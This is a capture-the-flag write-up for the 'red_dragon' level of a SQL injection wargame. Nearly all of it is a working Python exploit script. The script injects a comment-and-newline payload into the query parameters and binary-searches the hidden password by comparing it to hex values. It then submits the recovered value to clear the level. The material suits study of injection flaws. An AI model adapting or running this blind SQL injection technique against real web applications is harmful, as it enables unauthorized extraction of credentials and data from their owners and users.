LOS :: 26번 RED_DRAGON

WRITE UP

import requests
import re
 
url = "http://los.rubiya.kr/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php"
session = {'PHPSESSID':'MY_SESSION'}
data = {'id':"'||pw<#"}
 
a=0
b=0xffffffffffffffffffff
while b-a!=0:
    center = hex(a+(b-a)//2+1)
    if(len(center)%2!=0):
        center = "0x0"+center[2:]
    data['no']="\n"+center
    res = requests.get(url, params=data, cookies=session)
    if "Hello admin" in res.text:
        b=int(center,0)-1
    else:
        a=int(center,0)
 
 
flag = bytes.fromhex(hex(a)[2:]).decode('utf-8')
flag = re.match('\S*',flag).group().lower()
print("[∞] flag : "+flag)
 
data['pw']=flag
res = requests.get(url, params=data, cookies = session)
 
if "Clear!" in res.text:
   print("[♪] RED_DRAGON Clear!")